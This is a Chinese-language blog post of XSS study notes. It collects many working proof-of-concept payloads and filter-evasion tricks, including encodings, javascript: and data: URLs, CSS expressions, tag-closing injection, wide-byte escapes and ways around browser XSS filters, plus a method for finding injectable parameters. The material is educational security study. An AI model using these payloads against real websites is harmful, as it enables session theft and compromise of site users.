該文章是本人兩天的學習筆記,共享出來,跟大家交流。知識比較零散,但是對有一定 JS 基礎的人來說,每個小知識都有助於開闊你的 Hack 視角。首先聲明,本文只是 XSS 攻擊的冰山一角,讀者自行深入研究。
本文地址:http://www.cnblogs.com/hustskyking/p/xss-snippets.html ,轉載請保留源地址。
一、XSS學習提要
- http://qdemo.sinaapp.com/ppt/xss/
三水清 簡單介紹 xss - http://drops.wooyun.org/tips/689
烏雲 xss與字符編碼 - http://www.wooyun.org/whitehats/心傷的瘦子
系列教程 - http://ha.ckers.org/xss.html
反射性XSS詳細分析和解釋 - http://html5sec.org/
各種技巧 ★★★★★ - http://www.80sec.com/
一些不錯的文章
二、XSS攻擊要點
注意:這些插入和修改都是為了避開瀏覽器自身的過濾,或者開發者認為的過濾。
1. JS函數。
document.write innerHTML eval setTimeout/setInterval等等都是很多XSS攻擊注入的入口
2. html實體編碼
> "alert("Barret李靖")".replace(/./g, function(s){ return "&#" + s.charCodeAt(0) /*.toString(16) 轉換成16進制也可以滴*/ + ";" }); > "alert(1)" <img src="x" onerror="alert(1)" />
3. 如果過濾 html 實體編碼,可以改成URL編碼
> encodeURIComponent("&#")
> "%26%23"
4. 利用 HTML5 新增字符
: 冒號 
 換行 <a href="javascr
ipt:alert("Barret李靖")">XSS</a>
5. JS進制轉換
> "\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76" > "<script>alert("Barret李靖")</script>"
6. Base64轉換
> base64("<script>alert("Barret李靖")</script>");
> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>
7. 瀏覽器解析非嚴格性
<img src=image.jpg title="Hello World" class="test">
↓ ↓ ↓ ↓ ↓ ↓
①② ③ ④ ⑤ ⑥
①中可插入 NUL字符(0x00)
②和④中空格可以使用 tab(0x0B)與換頁鍵(0x0C),
②還可以使用 / 替換
⑤中的"在IE中也可替換成`。
位置 | 代碼 | 可能插入或替代的代碼 ------------|---------------------------|----------------------- <的右邊 | <[here]a href="... | 控制符,空白符,非打印字符 a標簽的后門 | <a[here]href="... | 同上 href屬性中間 | <a hr[here]ef="... | 同上+空字節 =兩邊 | <a href[here]=[here]"... | 所有字符 替換= | <a href[here]"... | Union編碼符號 替換" | <a href=[here]…[here]> | 其他引號 >之前 | <a href="…"[here]> | 任意字符 /之前 | <a href="…">...<[here]/a> | 空白符,控制符 /之后 | <a href="…">...</[here]a> | 空白符,控制符 >閉合之前 | <a href="…">…</a[here]> | 所有字符
8. 斜杠
在字符串中斜杠(/)可以用於轉義字符,比如轉義 " 和 ' ,雙斜杠(//)可以用來注釋。這樣可以很輕松的改變之前的語句,注入內容。
9. 空格的處理方式
在解析的時候空格被轉移成
,注入的時候可以使用 /**/
來替換。
10. 特殊屬性
1)srcdoc屬性(chrome有效)
<iframe srcdoc="<script>alert("Barret李靖")</script>"></iframe>
2)autofoucus
<input onfocus=write(1) autofocus>
3)object
<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83"> <param name="dataurl" value="javascript:alert("Barret李靖")"> </object>
11.繞過瀏覽器過濾(crhome)
?t="><img src=1 onerror=alert("Barret李靖")>
<input type="hidden" id="sClientUin" value="">
瀏覽器會過濾onerror中的代碼,所以換種方式注入
?t="><script src="data:text/html,<script>alert("Barret李靖")</script><!--
chrome攔截,是有一定的攔截規則的,只有它覺得是惡意代碼的才會去攔截。
12.替換URL
<xss style="behavior: url(xss.htc);"> <style>.xss{background-image:url("javascript:alert('xss')");}</style><a class=xss></a> <style type="text/css">body{background:url("javascript:alert('xss')")}</style>
13.抓包、換包
三、XSS攻擊方式
1. javascript:和vbscript:協議執行后的結果將會映射在DOM后面。
<a href="javascript:'\x3cimg src\x3dx onerror=alert("Barret李靖")>'">click me</a>
2. 變量覆蓋
<form id="location" href="bar"> <script>alert(location.href)</script>
3. meta標簽
<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)"> Javascript: 協議可能被禁止,可以使用 data: <meta http-equiv="refresh" content="0; url=data:text/html,<script>alert("Barret李靖")</script>">
4. css注入
<style> @import "data:,*%7bx:expression(write(1))%7D"; </style> <style> @imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style> <style> <link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
5. 提前閉合標簽
http://example.com/test.php?callback=cb 缺陷代碼: <script type='text/javascript'> document.domain='soso.com'; _ret={"_res":2}; try{ parent.aaa(_ret); }catch(err){ aaa(_ret); } </script> 注入:http://example.com/test.php?callback=cb</script><script>alert("XSS")</script>
原理:cb為回調函數,如果后端並沒有對callback字段進行過濾,則可以cb</script><script>alert("XSS")</script>
這么長的一串作為函數名,然后你就懂啦~ 本方式只針對上面有缺陷的代碼。
6. 提前閉合雙引號
<input type="text" value="XSS" onclick="alert("Barret李靖")" /> <!--<img src="--><img src=x onerror=alert("Barret李靖")//"> <comment><img src="</comment><img src=x onerror=alert("Barret李靖")//"> <![><img src="]><img src=x onerror=alert("Barret李靖")//"> <style><img src="</style><img src=x onerror=alert("Barret李靖")//">
7. 阻止編碼
?t=;alert("Barret李靖") <script type="text/javascript"> var t = query(t); // t = "";alert("Barret李靖")" </script>
上面可以看到 ";" 被編碼了,觀察頁面編碼:
<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />
gbxxx系列編碼,可以嘗試寬字節:
?t=%c0%22alert("Barret李靖")
8. 攻擊單行注釋
URL對應的param中添加換行符(%0a)或者其他換行符。
?t=%0aalert("Barret李靖")// // init('id', "%0aalert("Barret李靖")//"); 被解析成 // init('id', " alert("Barret李靖")//");
9. url
url中可以使用很多協議 http:// https:// javascript: vbscript: data:等等,利用這些屬性,可以找到很多的空隙。
<a href="data:text/html,<script>alert("Barret李靖")</script>">XSS</a>
10. Flash跨域注入
這個我不太熟悉,現在網頁上Flash用的越來越少了,懶得繼續看了。
11. 利用事件
<iframe src=# onmouseover="alert(document.cookie)"></iframe>
12. 利用標簽
<table><td background="javascript:alert('xss')">
四、XSS攻擊實質
XSS攻擊沒太多神奇的地方,就是利用瀏覽器防御不周到或者開發者代碼不健壯,悄悄對頁面或者服務器進行攻擊。
1. 繞過過濾
URL中的 <
,在DOM XSS中,可以使用 \u003c (unicode編碼)表示,不過他有可能被過濾了,最后解析成<
,也可以使用 \x3c (Javascript 16進制編碼),>
對應使用 \x3e。這種情況經常在 innerHTML 以及 document.write 中用到。
所謂的過濾包括人工過濾,也包括了瀏覽器HTML與JavaScript本身的過濾,程序員會在瀏覽器本身過濾過程中進行一些干擾和修改,這幾個流程都給我們提供了很多 xss 攻擊的入口。
1) 數據需要過濾,但是未過濾。導致XSS。比如:昵稱、個人資料。
2) 業務需求使得數據只能部分過濾,但過濾規則不完善,被繞過后導致XSS。比如:日志、郵件及其它富文本應用。
2. 利用源碼中js的解析
比如第二部分提出的第11點,瀏覽器的攔截
?t="><script>alert("Barret李靖")</script>
這樣的插入會被攔截,當你發現源碼中有這么一句話的時候:
function parseURL(){ //... t.replace("WOW", ""); //.. }
便可以修改如上參數:
?t="><scrWOWipt>alert("Barret李靖")</scrWOWipt>
直接繞過了chrome瀏覽器對危險代碼的防御。
五、學會XSS攻擊
1. 尋找可控參數
攻擊入口在哪里?一般是有輸入的地方,比如URL、表單、交互等。
- 含參數的URL中找到參數 value 值的輸出點,他可能在html中輸入,也可能是在javascript中
- 實驗各種字符(< , > " '等),判斷是否被過濾,測試方式,手動輸入測試
- 確定可控范圍,是否可以使用unicode編碼繞過,是否可以使用HTML編碼繞過,是否可以使用Javascript進制編碼繞過等等
2. 開始注入
注入細節上面都是,基本的思維模式:
- 覆蓋
- 阻斷
- 利用特性
3. 修補注入錯誤
注入后保證沒有語法錯誤,否則代碼不會執行,注入了也沒用。這里的意思是,你注入的一個參數可能在腳本多處出現,你可以保證一處沒語法錯誤,但是不能保證處處都正確
4. 開搞
測試的時候alert("Barret李靖"),彈出成功再繼續其他更邪惡的注入方式。
六、XSS分類
為什么留到后面說。XSS也了解了很多次了,每次都是先從概念觸發,感覺沒啥意思,什么反射性、DOM型、儲存型等等,還不如先去實踐下,憑着自己對XSS的理解,多看幾個網站的源碼,找找樂趣。
存儲型和反射型相比,只是多了輸入存儲、輸出取出的過程。簡單點說:
反射型是:輸入--輸出;
存儲型是:輸入--進入數據庫*--取出數據庫--輸出。
這樣一來,大家應該注意到以下差別:
反射型是:絕大部分情況下,輸入在哪里,輸出就在哪里。
存儲型是:輸入在A處進入數據庫,
而輸出則可能出現在其它任何用到數據的地方。
反射型是:輸入大部分位於地址欄或來自DOM的某些屬性,也會偶爾有數據在請求中(POST類型) 存儲型是:輸入大部分來自POST/
GET請求,常見於一些保存操作中。
因而我們找存儲型的時候,從一個地方輸入數據,需要檢測很多輸出的點,從而可能會在很多點發現存儲型XSS。
七、輔助工具
- http://ha.ckers.org/xsscalc.html
- chrome插件 (xss Encode,百度之)
- 抓包工具,fiddler4 chales
- 白名單過濾工具github/js-xss
八、小結
簡單小結:
- & 號不應該出現在HTML的大部分節點中。
- 括號<>是不應該出現在標簽內的,除非為引號引用。
- 在ext節點里面,<左尖括號有很大的危害。
- 引號在標簽內可能有危害,具體危害取決於存在的位置,但是在text節點是沒有危害的。
- 。。。
關注漏洞報告平台 Wooyun,多動腦筋,手動 hack。最重要的還是先黑客再紅客。